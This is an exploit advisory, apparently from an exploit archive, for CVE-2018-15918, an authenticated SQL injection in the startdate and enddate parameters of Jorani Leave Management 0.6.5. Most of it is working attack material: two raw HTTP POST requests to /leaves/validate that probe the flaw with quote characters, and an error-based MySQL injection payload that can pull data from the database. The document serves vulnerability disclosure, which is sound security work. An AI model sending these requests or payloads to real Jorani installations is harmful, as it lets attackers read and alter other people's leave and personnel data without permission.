Jorani Leave Management 0.6.5 - (Authenticated) 'startdate' SQL Injection

# Exploit Title: Jorani Leave Management 0.6.5 – 'startdate' SQL Injection
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-09-06
# Google Dork: N/A
# Vendor: Benjamin BALET
# Software Link: https://jorani.org/download.html
# Affected Version: 0.6.5 and possibly before
# Patched Version: unpatched
# Category: Web Application
# Platform: Windows
# Tested on: Win10x64 & Kali Linux
# CVE: 2018-15918
# Reference:
# https://hackpuntes.com/cve-2018-15918-jorani-leave-management-system-0-6-5-sql-injection/
# https://github.com/bbalet/jorani/issues/254
  
# 1. Technical Description:
# Jorani Leave Management System 0.6.5 and possibly before are affected by SQL Injection in startdate
# and enddate parameters through POST request in "/leaves/validate" resource.
# This allows a user of the application without permissions to read and modify sensitive information from
# the database used by the application.
  
# 2. Proof Of Concept (PoC):
# 2.1 The following POST request generates an error 500 in the Application (add ' in startdate parameter)
---
POST /leaves/validate HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/leaves/create
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 167
Cookie: csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd; jorani_session=r8ofjpch4g93t6563t7ols6fBkeeommo;
Connection: close

csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd&id=1&type=compensate&startdate=2018-08-02'&enddate=2018-08-03
&startdatetype=Morning&enddatetype=Afternoon&leave_id=
---

# 2.2 In another request, add two ' to receive a code 200 OK
---
POST /leaves/validate HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/leaves/create
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 167
Cookie: csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd; jorani_session=r8ofjpch4g93t6563t7ols6fBkeeommo;
Connection: close

csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd&id=1&type=compensate&startdate=2018-08-02''&enddate=2018-08-03
&startdatetype=Morning&enddatetype=Afternoon&leave_id=
---
 
# 3. Payload:
# Parameters: startdate and enddate (POST)
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload:
id=1&type=compensate&startdate=2018-08-02&enddate=2018-08-03') AND (SELECT 2138 FROM (SELECT COUNT(*),CONCAT(0x7178787071,
(SELECT (ELT(2138=2138,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
('WfLI'='WfLI&startdatetype=Morning&enddatetype=Afternoon&leave_id=